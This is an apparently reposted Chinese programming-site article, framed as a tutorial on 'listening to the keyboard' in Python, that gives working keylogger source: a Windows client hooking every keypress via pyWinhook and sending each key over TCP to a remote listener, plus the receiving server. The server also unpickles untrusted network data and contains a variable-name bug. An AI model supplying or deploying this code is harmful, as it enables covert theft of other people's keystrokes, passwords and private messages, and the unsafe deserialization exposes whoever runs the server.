iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python怎么实现监听键盘
  • 594
分享到

python怎么实现监听键盘

2023-06-14 20:06:39 594人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

小编给大家分享一下python怎么实现监听键盘,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Python的优点有哪些1、简单易用,与C/C++、Java、C# 等

小编给大家分享一下python怎么实现监听键盘,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

Python的优点有哪些

1、简单易用,与C/C++、Java、C# 等传统语言相比,Python对代码格式的要求没有那么严格;2、Python属于开源的,所有人都可以看到源代码,并且可以被移植在许多平台上使用;3、Python面向对象,能够支持面向过程编程,也支持面向对象编程;4、Python是一种解释性语言,Python写的程序不需要编译成二进制代码,可以直接从源代码运行程序;5、Python功能强大,拥有的模块众多,基本能够实现所有的常见功能。

python实现监听键盘,供大家参考,具体内容如下实现服务端

import picklefrom io import BytesIOimport Socket#接收数据def Server_Recive(ip,port):    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    socket_obj.bind((ip,port))    socket_obj.listen(5)    file = 1    while True:        connection,address = socket_obj.accept()  #接受的数据        recieved_message = b''        recieved_message_fragment = connection.recv(1024)        while recieved_message_fragment:            recieved_message += recieved_message_fragment            recieved_message_fragment = connection.recv(1024)        try:            obj = pickle.loads(recieved_message)            print(obj['Key'],end=' ')        except EOFError:            file_name = 'recv_image_' + str(file_on) + '.bmp'            recv_image = open(file_name,'wb')            recv_image.write(recieved_message)            file_on += 1        connection.close()if __name__ == '__main__':    Server_IP = '0.0.0.0'    Server_Port = 6666    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听import pythoncom,pyWinhook,pickle,socketfrom io import BytesIOdef Client_PIC(ip,port,obj):    try:        msg = pickle.dumps(obj)        send_message = BytesIO(msg)        send_message_fragment = send_message.read(1024)    except:        send_message = obj        send_message_fragment = send_message.read(1024)    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    socket_obj.connect((ip,port))    while send_message_fragment:        socket_obj.send(send_message_fragment)        send_message_fragment = send_message.read(1024)    socket_obj.close()def OnkeyBoardEvent(event):    dict_key = {}    dict_key['MessageName'] = event.MessageName    dict_key['Key'] = event.Key    Client_PIC('你自己的ip地址',6666,dict_key)    return Truedef Keylogger():    hm = pyWinhook.HookManager()    hm.KeyDown = OnkeyBoardEvent    hm.HookKeyboard()    pythoncom.PumpMessages()if __name__ == '__main__':    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python怎么实现监听键盘

以上是“python怎么实现监听键盘”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网Python频道!

--结束END--

本文标题: python怎么实现监听键盘

本文链接: https://www.lsjlt.com/news/274973.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作